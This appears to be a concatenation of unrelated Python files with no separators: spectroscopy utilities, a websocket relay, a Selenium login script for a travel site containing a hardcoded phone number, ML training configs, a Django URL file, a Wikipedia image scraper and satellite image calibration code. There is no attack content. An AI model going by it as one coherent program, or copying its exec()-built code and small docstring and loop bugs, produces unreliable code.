    def sigma_clip(self, func, args=(), sigma_cut=3, iterations=1):
        '''Clip outliers based on a sigma cut.

        Parameters
        ----------
        func : callable ``func(self.wl, self.flux, self.flux_err, *args)``.
            The function to fit the spectrum to.
        args : tuple, optional
            Extra arguments passed to func,
            i.e., ``func(self.wl, self.flux, self.flux_err, *args)``.
        sigma_cut : float
            The tolerance on sigma clip.
        iterations : int
            The number of times to iterate the sigma clip.

        Returns
        -------
        wl, flux, flux_err : 3darray
            Clipped wavelength, flux, and flux error.
        '''

        for _ in range(iterations):
            flux_fit = func(self.wl, self.flux, self.flux_err, *args)
            diff = self.flux - flux_fit
            sigma = np.std(diff)
            mask = np.abs(diff) < sigma*sigma_cut
            self.save(self.wl[mask], self.flux[mask], self.flux_err[mask])
        return self.wl, self.flux, self.flux_err

    def cont_norm(self, center, mask_step=0.01, sigma_cut=3, iterations=3):
        '''Normalise the continuum. Assumes you're normalising a line profile.
        1. Do basic normalisation.
        2. Sigma clip lines and outliers.
        3. Fit theilslope on the clipped spectrum.
        4. Remove fit from line.
        Only works for a small region with linear continuum.

        Parameters
        ----------
        center : float
            The center of the line.
        mask_step : float
            Width/2 of the line.
        sigma_cut : float
            The tolerance on sigma clip.
        iterations : int
            The number of times to iterate the sigma clip.

        Returns
        -------
        wl, flux, flux_err : 3darray
            Normalised wavelength, flux, and flux error.
        '''

        # save original values
        wl = np.copy(self.wl)
        flux = np.copy(self.flux)
        flux_err = np.copy(self.flux_err)

        # first do a shitty normalisation with the main line removed
        masks = [[center - mask_step, center + mask_step]]
        self.mask_region(masks, rm='in')
        med = np.median(self.flux)
        flux = flux/med
        flux_err = flux_err/med

        # sigma clip
        self.save(wl, flux, flux_err)
        median = lambda x,y,z:np.median(y)
        self.sigma_clip(median, sigma_cut=sigma_cut, iterations=iterations)

        # fit
        fit = stats.mstats.theilslopes(self.flux, self.wl)
        grad = fit[0]
        intercept = fit[1]

        # remove linear slope
        fit = wl*grad + intercept
        flux = flux/fit
        flux_err = flux_err/fit
        self.save(wl, flux, flux_err)

        return self.wl, self.flux, self.flux_err

    def _gaussian_broaden(self, center, sigma=0, num=None):
        '''Only works for synthetic spectra because it uses cubicspline. Might
        be unpredictable for synthetic spectra with more than 1 line or gaps.
        Should be ok for harder spectra, need to monitor effects.
        '''

        # convert to velocity space
        delta_wl = self.wl - center
        vr = wl_to_vr(delta_wl, center=center)
        cs = CubicSpline(vr, self.flux)

        # set kernel
        sig = sigma/2.35482
        g_gen = stats.norm(0, sig) # convert FWHM to sigma

        # set steps
        if num is None:
            vr_dist = vr[-1] - vr[0]
            # this is based on the spectra
            # sample to the same as the minimum step size given in the input spectra
            step_size = np.min(vr[1:] - vr[:-1])
            num_spec = int(vr_dist / step_size) + 1
            num_spec *= 2 # something about Nyquist theorem... I mean this isn't really frequency, but if you squint...
            # this is based on the sigma
            # sample such that the gaussians are resolved by 5 points within 3 sigma
            num_points = 5
            step_size = 2*sig*3/num_points
            num_gauss = int(vr_dist / step_size) + 1
            # pick the maximum, or else sampling goes funny
            num = max(num_spec, num_gauss)

        # convolve
        tau = np.linspace(vr[0], vr[-1], num)
        mask = np.abs(tau) <= sig*5
        convolver = g_gen.pdf(tau[mask])
        convolver /= np.sum(convolver)
        create_x = (np.repeat([vr], tau.shape[0], axis=0).T - tau).T
        create_x = create_x[mask].T
        shifted_spec = cs(create_x)

        integrand = shifted_spec*convolver
        flux_conv = np.sum(integrand, axis=1)

        self.flux = flux_conv

        return self.wl, self.flux

    def gaussian_broaden(self, center, sigma=0, num=None):
        '''Only works for synthetic spectra because it uses cubicspline.
        Use the astropy version if you are already equidistant in velocity space without interpolation. Astropy convolves in pixel space. (stddev = speed of light / resolution / FWHM / velocity difference between adjacent pixels)
        Can change to not using cubicspline, but will introduce numerical differences due to under sampling of the gaussian + spectra.
        Works better than hidden version because this one doesn't extrapolate spectra. It does compensate by scaling edge gaussians funny, so might still have some edge effects.
        Might be unpredictable for synthetic spectra with more than 1 line or gaps.
        Should be ok for harder spectra, need to monitor effects.
        Idea is that the gaussians are placed where there are data points in the input spectra. This should help provide enough kernels for broadening where there is information.
        sigma = speed of light / resolution (FWHM in km/s)
        '''

        # convert to velocity space
        delta_wl = self.wl - center
        vr = wl_to_vr(delta_wl, center=center)
        cs = CubicSpline(vr, self.flux)

        # set kernel
        sig = sigma/2.35482
        g_gen = stats.norm(0, sig)  # convert FWHM to sigma

        # set steps
        if num is None:
            vr_dist = vr[-1] - vr[0]
            # this is based on the spectra
            # sample to the same as the minimum step size given in the input spectra
            step_size = np.min(vr[1:] - vr[:-1])
            num_spec = int(vr_dist / step_size) + 1
            num_spec *= 2 # something about Nyquist theorem... I mean this isn't really frequency, but if you squint...
            # this is based on the sigma
            # sample such that the gaussians are resolved by 5 points within 3 sigma
            num_points = 5
            step_size = 2*sig*3/num_points
            num_gauss = int(vr_dist / step_size) + 1
            # pick the maximum, or else sampling goes funny
            num = max(num_spec, num_gauss)

        # convolve
        tau = np.linspace(vr[0], vr[-1], num)
        create_x = (vr - np.repeat([tau], len(vr), axis=0).T).T
        masks = [np.abs(row) < sig*5 for row in create_x]
        inds = range(len(masks))
        convolver = [g_gen.pdf(create_x[ind][masks[ind]]) for ind in inds]
        convolver = [convolver[ind]/np.sum(convolver[ind]) for ind in inds]
        spec = cs(tau)
        flux_conv = np.array([np.sum(spec[masks[ind]]*convolver[ind]) for ind in inds])

        self.flux = flux_conv

        return self.wl, self.flux

def polyfit(x, y, x_out=None, deg=1):
    '''Fits a polynomial to input data after shifting data to 0.

    Parameters
    ----------
    x : List[Real] or 1darray
        x values to fit over.
    y : List[Real] or 1darray
        y values to fit over.
    x_out : List[Real] or None
        Output x values. If None, then return the fit.
    deg : Int, optional
        Degree of fitted polynomial. 1 by default.

    Returns
    -------
    y_out or center, fit: 1darray or tuple(float)
        Output y values at the input x_out values or x mean, grad, intercept.
    '''

    # convert to numpy arrays
    x = np.array(x)
    y = np.array(y)

    # fit
    center_x = np.mean(x)
    fit = np.polyfit(x - center_x, y, deg=deg)

    # return fit and center
    if x_out is None:
        return center_x, fit[0], fit[1]

    # return y evaluated at x_out
    y_out = np.polyval(fit, x_out - center_x)
    return y_out

def cut_wavelength(wavelength, center=670.9659, upper=10, lower=10):
    """Cuts the wavelength returns the values between center - lower and center + upper. Useful for plotting mostly because many functions return a cut line profile but not cut wavelength.
    Parameters
    ----------
    wavelength : List[Real] or 1darray
        Input wavelengths. Needs to be monotonically increasing.
    center : Real, optional
        The center of the wavelengths where the cut should be taken, in the same units as the wavelength.
    upper : Positive Real, optional
        The amount to go above the center when taking the cut, in the same units as the wavelength.
    lower : Positive Real, optional
        The amount to go below the center when taking the cut, in the same units as the wavelength.

    Returns
    -------
    wl_cut : 2darray
        Cut wavelengths.
    """

    wavelength = np.array(wavelength)

    low = center - lower
    high = center + upper
    wl_cut = wavelength[(low <= wavelength) & (high >= wavelength)]
    return wl_cut

def wl_to_vr(wl, center=670.9659):
    '''Converts wavelengths to radial velocity, works for errors too.

    Parameters
    ----------
    wl : float or ndarray
        Wavelength to be converted, in nm.
    center : float
        The wavelength that vr=0 is at.

    Returns
    -------
    vr : float or ndarray
        Radial velocity in km/s.
    '''

    if isinstance(wl, float):
        return wl*_c/center
    else:
        return np.array(wl)*_c/center

def vr_to_wl(vr, center=670.9659):
    '''Converts wavelengths to radial velocity, works for errors too.

    Parameters
    ----------
    vr : float or ndarray
        Radial velocity to be converted, in km/s.
    center : float
        The wavelength that vr=0 is at.

    Returns
    -------
    wl : float or ndarray
        Wavelengths in nm.
    '''

    if isinstance(vr, float):
        return vr*center/_c
    else:
        return np.array(vr)*center/_c

def vac_to_air(lam):
    '''Convert from vacuum to air wavelengths.
    From https://www.astro.uu.se/valdwiki/Air-to-vacuum%20conversion

    Parameters
    ----------
    lam : float or ndarray
        Wavelengths in vacuum in angstroms.

    Returns
    -------
    air : float or ndarray
        Wavelengths in air in angstroms.
    '''

    s = 1e4/lam
    n = 1 + 0.0000834254 + 0.02406147 / (130 - s**2) + 0.00015998 / (38.9 - s**2)
    return lam/n

def air_to_vac(lam):
    '''Convert from air to vacuum wavelengths.
    From https://www.astro.uu.se/valdwiki/Air-to-vacuum%20conversion

    Parameters
    ----------
    lam : float or ndarray
        Wavelengths in air in angstroms.

    Returns
    -------
    vac : float or ndarray
        Wavelengths in vacuum in angstroms.
    '''

    s = 1e4/lam
    n = 1 + 0.00008336624212083 + 0.02408926869968 / (130.1065924522 - s**2) + 0.0001599740894897 / (38.92568793293 - s**2)
    return lam*n

def convolve(f, g, n, m):
    '''Compute the discrete convolution.

    Parameters
    ----------
    f : Function
        Function 1.
    g : Function
        Function 2.
    n : 1darray
        Shift applied to g.
    m : 1darray
        Discrete values at which the function is evaluated.

    Returns
    -------
    conv : float
        Discrete convolution at n f*g(n).
    '''

    m_shift = m + n.reshape(n.shape[0], -1) # m+n
    return np.sum(f(m)*g(m_shift), axis=1)

def common_range(x_range, shifts):
    '''Compute the common range shared after the shifts are applied.

    Parameters
    ----------
    x_range : Tuple(Float)
        The range over which the functions are defined.
    shifts : List[Float]
        The shifts to apply to the functions.

    Returns
    -------
    left, right : Float, Float
        The shared range (left, right).
    '''

    min_shift = np.min(shifts)
    max_shift = np.max(shifts)

    left = max(x_range[0], x_range[0] - min_shift)
    right = min(x_range[1], x_range[1] - max_shift)

    if left == right:
        raise ValueError('Shifts are too extreme given the x_range, there is no overlap.')

    return left, right

def cross_correlate(f, g, x_range, shifts, num=10000, plot=False):
    '''Compute the cross correlation between two functions. Truncates edges, no
    extrapolation.

    Parameters
    ----------
    f : Function
        Function 1.
    g : Function
        Function 2.
    x_range : tuple(Float)
        The common range that f and g are defined over.
        i.e. f : [-2, 2] -> R
        g : [-1, 3] -> R
        Then x_range = (-1, 2)
    shifts : 1darray
        The shifts to apply to the function g.
    num : int
        The number of points to sample the function f and g.
    plot : bool
        Display plots for debugging.

    Returns
    -------
    cc : List[Float]
        The cross correlations of the given shifts.
    '''

    #TODO: x_range could be improved to take into account differences in range
    # of f and g, this doesn't happen a lot in practice though

    left, right = common_range(x_range, shifts)
    m = np.linspace(left, right, num=num)

    if plot:
        # original functions
        x = np.linspace(x_range[0], x_range[1], 1000)
        plt.scatter(x, f(x), label='f', s=4, alpha=0.5)
        plt.scatter(x, g(x), label='g', s=4, alpha=0.5)
        # shift g
        plt.scatter(m, g(m+np.max(shifts)), s=4, alpha=0.5,
                    label=f'g min={np.min(shifts):.2f} shift')
        plt.scatter(m, g(m+np.min(shifts)), s=4, alpha=0.5,
                    label=f'g max={np.max(shifts):.2f} shift')
        # common region
        for line in [left, right]:
            plt.axvline(line, color='black', linestyle='--')
        plt.legend()
        plt.show()

    return convolve(f, g, shifts, m)

def radial_velocity(f, g, x_range, shifts, num=10000, plot=False):
    '''Compute the radial velocity from the max cross correlation.
    f and g must have continuum centered at 0. f(n) = g(n-rv)

    Parameters
    ----------
    f : Function
        Function 1.
    g : Function
        Function 2.
    x_range : tuple(Float)
        The common range that f and g are defined over.
        i.e. f : [-2, 2] -> R
        g : [-1, 3] -> R
        Then x_range = (-1, 2)
    shifts : 1darray
        The shifts to apply to the function g.
    num : int
        The number of points to sample the function f and g.
    plot : bool
        Display plots for debugging.

    Returns
    -------
    rv : Float
        The radial velocity of g with respect to f.
    '''

    # cast to numpy array
    shifts = np.array(shifts)

    cc = cross_correlate(f, g, x_range, shifts, num=num, plot=plot)
    return shifts[np.argmax(cc)]

# solar abundances from asplund 2020
abundances = [12.00, 10.914,
             0.96, 1.38, 2.70, 8.46, 7.83, 8.69, 4.40, 8.06,
             6.22, 7.55, 6.43, 7.51, 5.41, 7.12, 5.31, 6.38,
             5.07, 6.30, 3.14, 4.97, 3.90, 5.62, 5.42, 7.46, 4.94,
             6.20, 4.18, 4.56, 3.02, 3.62, 2.30, 3.34, 2.54, 3.12,
             2.32, 2.83, 2.21, 2.59, 1.47, 1.88, -np.inf, 1.75, 0.78,
             1.57, 0.96, 1.71, 0.80, 2.02, 1.01, 2.18, 1.55, 2.22,
             1.08, 2.27, 1.11, 1.58, 0.75, 1.42, -np.inf, 0.95, 0.52,
             1.08, 0.31, 1.10, 0.48, 0.93, 0.11, 0.85, 0.10, 0.85,
             -0.15, 0.79, 0.26, 1.35, 1.32, 1.61, 0.91, 1.17, 0.92,
             1.95, 0.65, -np.inf, -np.inf, -np.inf,
             -np.inf, -np.inf, -np.inf, 0.03, -np.inf, -0.54, -np.inf, -np.inf, -np.inf,
            -np.inf, -np.inf, -np.inf, -np.inf]

# atomic mass units of elements, from blue I think
amu = [1.008, 4.003, 6.941, 9.012, 10.811, 12.011, 14.007, 15.999,
        18.998, 20.18, 22.99, 24.305, 26.982, 28.086, 30.974, 32.065,
        35.453, 39.948, 39.098, 40.078, 44.956, 47.867, 50.942, 51.996,
        54.938, 55.845, 58.933, 58.693, 63.546, 65.409, 69.723, 72.64,
        74.922, 78.96, 79.904, 83.798, 85.468, 87.62, 88.906, 91.224,
        92.906, 95.94, 98.0, 101.07, 102.906, 106.42, 107.868, 112.411,
        114.818, 118.71, 121.76, 127.6, 126.904, 131.293, 132.905,
        137.327, 138.906, 140.116, 140.908, 144.24, 145.0, 150.36,
        151.964, 157.25, 158.925, 162.5, 164.93, 167.259, 168.934,
        173.04, 174.967, 178.49, 180.948, 183.84, 186.207, 190.23,
        192.217, 195.078, 196.967, 200.59, 204.383, 207.2, 208.98,
        209.0, 210.0, 222.0, 223.0, 226.0, 227.0, 232.038, 231.036,
        238.029, 237.0,244.0,243.0,247.0,247.0,251.0,254.0]

def met_mass_frac(abundances):
    '''Calculate the metallicity from abundances. Mass fraction.
    Theorist definition (without log10).

    Parameters
    ----------
    abundances : List[Float]
        Abundances.

    Returns
    -------
    met : Float
        The mass fraction metallicity.
    '''

    abund_raw = np.array([10**(abund-12) for abund in abundances]) # get rid of +12 and log
    abund_mass = np.array(amu) * 1.660539040e-24 * abund_raw # mass in g
    abund_perc = abund_mass / np.sum(abund_mass)
    met = np.sum(abund_perc[2:])
    return met

def met_num_frac(abundances):
    '''Calculate the metallicity from abundances. Number fraction.
    Observer definition (with log10).

    Parameters
    ----------
    abundances : List[Float]
        Abundances.

    Returns
    -------
    met : Float
        The number fraction metallicity.
    '''

    abund_raw = np.array([10**(abund-12) for abund in abundances]) # get rid of +12 and log
    abund_perc = abund_raw / np.sum(abund_raw)
    met = np.sum(abund_perc[2:])
    return np.log10(met)

def gen_colours(colour_map, num):
    '''Generate equally spaced colours based upon an input colour map.

    Parameters
    ----------
    colour_map : str
        The colour map to draw colours from.
    num : int
        The number of colours to get.

    Returns
    -------
    colours : 2darray
        The colours drawn in rgb values.
    '''

    cmap = cm.get_cmap(colour_map)
    nums = [int(round(i)) for i in np.linspace(0, 255, num)]
    return cmap(nums)


import asyncio
import signal
import websockets

CLIENTS = {}

async def dispatch(data):
    for cluster_name, client in CLIENTS.items():
        await client.send(data)
        print(f'> Cluster[{cluster_name}]')

async def serve(ws, path):
    cluster_name = await ws.recv()
    cluster_name = cluster_name.decode()
    if cluster_name in CLIENTS:
        print(f"! Cluster[{cluster_name}] attempted reconnection")
        await ws.close(4029, "already connected")
        return
    CLIENTS[cluster_name] = ws
    try:
        await ws.send(b'{"status":"ok"}')
        print(f'$ Cluster[{cluster_name}] connected successfully')
        async for msg in ws:
            print(f'< Cluster[{cluster_name}]: {msg}')
            await dispatch(msg)
    finally:
        CLIENTS.pop(cluster_name)
        print(f'$ Cluster[{cluster_name}] disconnected')

signal.signal(signal.SIGINT, signal.SIG_DFL)
signal.signal(signal.SIGTERM, signal.SIG_DFL)

server = websockets.serve(serve, 'localhost', 42069)
loop = asyncio.get_event_loop()
loop.run_until_complete(server)
loop.run_forever()


import unittest
import time

from Tools.demo.ss1 import center
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.support.ui import Select

driver = webdriver.Chrome(executable_path="C:\Program Files (x86)\chromedriver.exe")

driver.get("https://www.makemytrip.com/bus-tickets/")
print(driver.title)
login=driver.find_element_by_xpath("//p[contains(text(),'Login or Create Account')]")
login.click()
email=driver.find_element_by_xpath("//input[@id='username']")
email.click()
email.send_keys("9581441090")
continue1=driver.find_element_by_xpath("//span[contains(text(),'Continue')]")
continue1.click()
time.sleep(3)
time.sleep(30)
login=driver.find_element_by_xpath("//span[contains(text(),'Login')]")
login.click()
time.sleep(5)
bangalore=driver.find_element_by_xpath("//input[@id='fromCity']")
bangalore.click()
time.sleep(3)
fromcity=driver.find_element_by_xpath("//input[@placeholder='From']")
fromcity.click()
fromcity.send_keys("Bangalore")
bglr=driver.find_element_by_xpath("//p[contains(text(),'Bangalore, India')]")
bglr.click()
search=driver.find_element_by_xpath("//a[contains(@class,'primaryBtn font24 latoBlack widgetSearchBtn')]")
search.click()
time.sleep(5)
driver.close()


import sys
import logging

import torch

import main
from mean_teacher.cli import parse_dict_args
from mean_teacher.run_context import RunContext

LOG = logging.getLogger('runner')

def parameters():
    defaults = {
        # Technical details
        # 'checkpoint_epochs': 1,
        # 'evaluation_epochs': 1,

        # Data
        'dataset': 'ISIC2017',
        # 'exclude_unlabeled': False,
        'labels': '50%_label.txt',

        # Data sampling
        'batch_size': 12,
        'labeled_batch_size': 6,

        # Architecture
        'arch': 'resnext152',
        'ema_decay': .9997,

        # Costs
        'consistency_type': 'kl',
        'consistency': 10.0,
        'consistency_rampup': 5,
        'logit_distance_cost': 0.01,
        'weight_decay': 5e-5,

        # Optimization
        'epochs': 120,
        'lr_rampdown_epochs': 150,
        'lr_rampup': 2,
        'initial_lr': 0.1,
        'lr': 0.025,
        'nesterov': True,
        # 'gpu_id':''

    }

    for data_seed in range(10, 12):
        yield {
            **defaults,
            'title': 'mean teacher r-152 eval',
            'data_seed': 0
        }

def run(title,data_seed,**kwargs):
    print('run title: %s', title)
    ngpu = 1
    main.args = parse_dict_args(**kwargs)
    context = RunContext(__file__,kwargs['consistency'],kwargs['epochs'],kwargs['labels'])
    main.main(context)

if __name__ == "__main__":
    for run_params in parameters():
        run(**run_params)


# truncated model
import torchvision.models as models
from torchvision import transforms
import torch
import torch.nn as nn
from sklearn.decomposition import PCA
class CustomResNet(nn.Module):
    def __init__(self, model,best_layer,layer_list):
        super(CustomResNet, self).__init__()
        self.model = model
        self.best_layer = best_layer
        self.layer_list = layer_list
        temp_index=layer_list.index(best_layer)
        # cut the model, only keep layers before the best layer
        rest_layers=layer_list[:temp_index+1]

        modules=[]
        modules.append(model.conv1)
        modules.append(model.bn1)
        modules.append(model.relu)

        for layer in rest_layers:
            exec(f'modules.append(model.{layer})')

        self.part=nn.Sequential(*modules)

    def forward(self, x):
        x = self.part(x)
        return x


"""Fancystore URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path

from item.views import insert_item, display_view, update_item, delete_item,home_view

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', home_view, name="home"),
    path('insert/',insert_item,name="insert"),
    path('display/', display_view, name="display"),
    path('update/<str:id>/', update_item, name="update"),
    path('delete/<int:id>/', delete_item, name="delete"),

]


## When you run this code, images of cloud computing artcle from wikipedia will be downloaded and saved into files with names as image1.jpg etc..,
##source: https://en.wikipedia.org/wiki/Cloud_computing#:~:text=Cloud%20computing%20is%20the%20on,many%20users%20over%20the%20Internet
## Note this code may break if any wikipedia has any done any changes to the article's html

import requests,bs4

def save_images():
  result= requests.get('https://en.wikipedia.org/wiki/Cloud_computing#:~:text=Cloud%20computing%20is%20the%20on,many%20users%20over%20the%20Internet.')

  soup=bs4.BeautifulSoup(result.text,'lxml')
  link=soup.select('.thumbimage')
  count=0
  all=set()
  for i in link:
      all.add('https:'+i['src'])

  for i in all:
      count+=1
      name='image'+str(count)+'.jpg'
      image_link=requests.get(i)
      myfile= open(name,'wb')
      myfile.write(image_link.content)
      myfile.close()

if __name__ == '__main__':
    save_images()


#!/usr/bin/env python
"""
The image calibration module contains functions for calibrating optical data from DN to radience and top of atmosphere reflectance and, using coefficients from 6S, surface reflectance.

For obtaining the correct parameters for each function it is recomented that rather than running directly they are called through the Atmospheric and Radiometric Correction of Satellite Imagery (ARCSI) software.

More details on ARCSI are avaialble from https://remotesensing.info/arcsi
"""

import rsgislib

# import the C++ extension into this level
from ._imagecalibration import *

class ElevLUTFeat(object):
    """
    Create a list of these objects to pass to the rsgislib.imagecalibration.apply6SCoeffElevLUTParam

    :param Elev: is the elevation value.
    :param Coeffs: is the 6S coeffients as a Band6S object.
    """

    def __init__(self, Elev=None, Coeffs=None):
        """
        :param Elev: is the elevation value.
        :param Coeffs: is the 6S coeffients as a Band6S object.
        """
        self.Elev = Elev
        self.Coeffs = Coeffs

class AOTLUTFeat(object):
    """
    Create a list of these objects to pass to the rsgislib.imagecalibration.apply6SCoeffElevAOTLUTParam

    :param AOT: is the AOT value.
    :param Coeffs: is the 6S coeffients as a Band6S object.
    """

    def __init__(self, AOT=None, Coeffs=None):
        """
        :param AOT: is the AOT value.
        :param Coeffs: is the 6S coeffients as a Band6S object.
        """
        self.AOT = AOT
        self.Coeffs = Coeffs

class Band6SCoeff(object):
    """
    Create a list of these objects to provide the Coeffs for ElevLUTFeat and AOTLUTFeat.
    """

    def __init__(
        self,
        band=None,
        aX=None,
        bX=None,
        cX=None,
        DirIrr=None,
        DifIrr=None,
        EnvIrr=None,
    ):
        self.band = band
        self.aX = aX
        self.bX = bX
        self.cX = cX
        self.DirIrr = DirIrr
        self.DifIrr = DifIrr
        self.EnvIrr = EnvIrr

def perform_dos_calc(
    inputFile,
    outputFile,
    gdalformat="KEA",
    nonNegative=True,
    noDataVal=0,
    darkObjReflVal=0,
    darkObjPercentile=0.01,
    copyBandNames=True,
    calcStatsPyd=True,
):
    """
    A command to perform a dark object subtraction (DOS) on an input image.

    :param inputFile: input image to which the DOS method is to be applied. Typically, this image with be in top of atmosphere reflectance (TOA)
    :param outputFile: the output image file
    :param gdalformat: the output image file format (default = KEA)
    :param nonNegative: is a boolean specifying where negative output pixel values will be accepted (Dafualt is True; i.e., no negative values)
    :param noDataVal: is the no data value within the input image file.
    :param darkObjReflVal: is an offset which is applied to all pixel values to make a minimum reflectance value (Default = 0)
    :param darkObjPercentile: is the percentile of the input image used to define the dark object threshold, range is 0 - 1 (Default is 0.01; i.e., 1%).
    :param copyBandNames: is a boolean specifying that the band names of the input image should be copied to the output image file (Default: True)
    :param calcStatsPyd: is a boolean specifying that the image stats and pyramids should be calculated on the output image (Default: True)

    .. code:: python

        import rsgislib.imagecalibration
        rsgislib.imagecalibration.perform_dos_calc("LS5TM_20110701_lat52lon421_r24p204_rad_toa.kea", 'LS5TM_20110701_lat52lon421_r24p204_rad_toa_dos.kea")

    """
    import collections

    import rsgislib
    import rsgislib.imagecalc
    import rsgislib.imageutils

    outDataType = rsgislib.imageutils.get_rsgislib_datatype_from_img(inputFile)

    percentList = rsgislib.imagecalc.calc_band_percentile(
        inputFile, darkObjPercentile, noDataVal
    )

    offsetsList = list()
    OffVal = collections.namedtuple("DOSOffset", ["offset"])
    for val in percentList:
        offsetsList.append(OffVal(offset=val))

    apply_subtract_single_offsets(
        inputFile,
        outputFile,
        gdalformat,
        outDataType,
        nonNegative,
        True,
        noDataVal,
        darkObjReflVal,
        offsetsList,
    )

    if copyBandNames:
        bandNames = rsgislib.imageutils.getBandNames(inputFile)
        rsgislib.imageutils.set_band_names(outputFile, bandNames)

    if calcStatsPyd:
        rsgislib.imageutils.pop_img_stats(
            outputFile, use_no_data=True, no_data_val=noDataVal, calc_pyramids=True
        )

def calc_clear_sky_regions(
    cloudsImg,
    validAreaImg,
    outputClearSkyMask,
    outFormat,
    tmpPath="tmpClearSky",
    deleteTmpFiles=True,
    initClearSkyRegionDist=5000,
    initClearSkyRegionMinSize=3000,
    finalClearSkyRegionDist=1000,
    morphSize=21,
):
    """
    Given a cloud mask, identify the larger extent regions of useful clear-sky regions.

    :param cloudsImg: An image with the input mask of the cloud (pixel == 1) and shadow (pixel == 2)
    :param validAreaImg: A mask of the image data area (1 = valid and 0 = not-valid; i.e., outside of the data area)
    :param outputClearSkyMask: The output mask of the clear sky areas
    :param outFormat: The output image format.
    :param tmpPath: The path for temporay images produced during the processing to be stored (Default: 'tmpClearSky'; Note. all temp files are generated as KEA files).
    :param deleteTmpFiles: Boolean as to whether the intermediate files should be deleted following processing (Default: True - delete files).
    :param initClearSkyRegionDist: The distance in metres from a cloud/shadow object for the initial identification of clear sky regions (Default: 5000)
    :param initClearSkyRegionMinSize: The minimum size (in pixels) of the initial clear sky regions (Default: 3000 pixels)
    :param finalClearSkyRegionDist: The distance in metres from a cloud/shadow object for the final boundaries of the clear sky regions (Default: 1000)
    :param morphSize: the size of the circular morphological operator used to tidy up the result (Default: 21)

    .. code:: python

        import rsgislib.imagecalibration
        cloudsImg = "Outputs/LS8_20160605_lat52lon261_r24p203_clouds.kea"
        validAreaImg = "Outputs/LS8_20160605_lat52lon261_r24p203_valid.kea"
        outputMask = "Outputs/LS8_20160605_lat52lon261_r24p203_openskyvalid.kea"
        tmpPath = "temp"
        rsgislib.imagecalibration.calc_clear_sky_regions(cloudsImg, validAreaImg, outputMask, 'KEA', tmpPath)

    """

    import os

    import numpy
    from osgeo import gdal
    from rios import rat

    import rsgislib
    import rsgislib.imagecalc
    import rsgislib.imagemorphology
    import rsgislib.imageutils
    import rsgislib.rastergis
    import rsgislib.segmentation

    if morphSize % 2 == 0:
        raise rsgislib.RSGISPyException(
            "The size of the morphology operator must be odd."
        )

    baseDataName = os.path.splitext(os.path.basename(cloudsImg))[0]
    tmpCloudsImgDist2Clouds = os.path.join(tmpPath, baseDataName + "_dist2clouds.kea")
    tmpCloudsImgDist2CloudsNoData = os.path.join(
        tmpPath, baseDataName + "_dist2clouds_masked.kea"
    )
    tmpInitClearSkyRegions = os.path.join(tmpPath, baseDataName + "initclearsky.kea")
    tmpInitClearSkyRegionsClumps = os.path.join(
        tmpPath, baseDataName + "initclearskyClumps.kea"
    )
    tmpInitClearSkyRegionsRmSmall = os.path.join(
        tmpPath, baseDataName + "initclearskyClumpsRMSmall.kea"
    )
    tmpInitClearSkyRegionsFinal = os.path.join(
        tmpPath, baseDataName + "initclearskyClumpsFinal.kea"
    )
    tmpClearSkyRegionsFullExtent = os.path.join(
        tmpPath, baseDataName + "clearskyClumpsFullExtent.kea"
    )
    tmpClearSkyRegionsFullExtentClumps = os.path.join(
        tmpPath, baseDataName + "clearskyClumpsFullExtentClumps.kea"
    )
    tmpClearSkyRegionsFullExtentSelectClumps = os.path.join(
        tmpPath, baseDataName + "clearskyClumpsFullExtentSelectClumps.kea"
    )
    tmpClearSkyRegionsFullExtentSelectClumpsOpen = os.path.join(
        tmpPath, baseDataName + "clearskyClumpsFullExtentSelectClumpsOpen.kea"
    )
    tmpClearSkyRegionsFullExtentSelectClumpsOpenClump = os.path.join(
        tmpPath, baseDataName + "clearskyClumpsFullExtentSelectClumpsOpenClump.kea"
    )
    tmpClearSkyRegionsFullExtentSelectClumpsOpenClumpRMSmall = os.path.join(
        tmpPath,
        baseDataName + "clearskyClumpsFullExtentSelectClumpsOpenClumpRMSmall.kea",
    )
    tmpMorphOperator = os.path.join(tmpPath, "CircularMorphOp.gmtxt")

    rsgislib.imagecalc.calc_dist_to_img_vals(
        cloudsImg, tmpCloudsImgDist2Clouds, pxl_vals=[1, 2], out_no_data_val=-9999
    )

    rsgislib.imageutils.mask_img(
        tmpCloudsImgDist2Clouds,
        validAreaImg,
        tmpCloudsImgDist2CloudsNoData,
        "KEA",
        rsgislib.TYPE_32INT,
        -1,
        0,
    )

    rsgislib.imagecalc.image_math(
        tmpCloudsImgDist2CloudsNoData,
        tmpInitClearSkyRegions,
        "b1 > " + str(initClearSkyRegionDist),
        outFormat,
        rsgislib.TYPE_32UINT,
    )

    rsgislib.segmentation.clump(
        tmpInitClearSkyRegions, tmpInitClearSkyRegionsClumps, "KEA", False, 0.0, False
    )

    rsgislib.rastergis.pop_rat_img_stats(tmpInitClearSkyRegionsClumps, True, True)

    rsgislib.segmentation.rm_small_clumps(
        tmpInitClearSkyRegionsClumps,
        tmpInitClearSkyRegionsRmSmall,
        initClearSkyRegionMinSize,
        "KEA",
    )

    rsgislib.segmentation.relabel_clumps(
        tmpInitClearSkyRegionsRmSmall, tmpInitClearSkyRegionsFinal, "KEA", False
    )

    rsgislib.rastergis.pop_rat_img_stats(tmpInitClearSkyRegionsFinal, True, True)

    rsgislib.imagecalc.image_math(
        tmpCloudsImgDist2CloudsNoData,
        tmpClearSkyRegionsFullExtent,
        "b1 > " + str(finalClearSkyRegionDist),
        outFormat,
        rsgislib.TYPE_32UINT,
    )

    rsgislib.segmentation.clump(
        tmpClearSkyRegionsFullExtent,
        tmpClearSkyRegionsFullExtentClumps,
        "KEA",
        False,
        0.0,
        False,
    )

    rsgislib.rastergis.pop_rat_img_stats(tmpClearSkyRegionsFullExtentClumps, True, True)

    rsgislib.rastergis.populate_rat_with_stats(
        tmpInitClearSkyRegionsFinal,
        tmpClearSkyRegionsFullExtentClumps,
        [rsgislib.rastergis.BandAttStats(band=1, max_field="InitRegionInter")],
    )

    ratDataset = gdal.Open(tmpClearSkyRegionsFullExtentClumps, gdal.GA_Update)
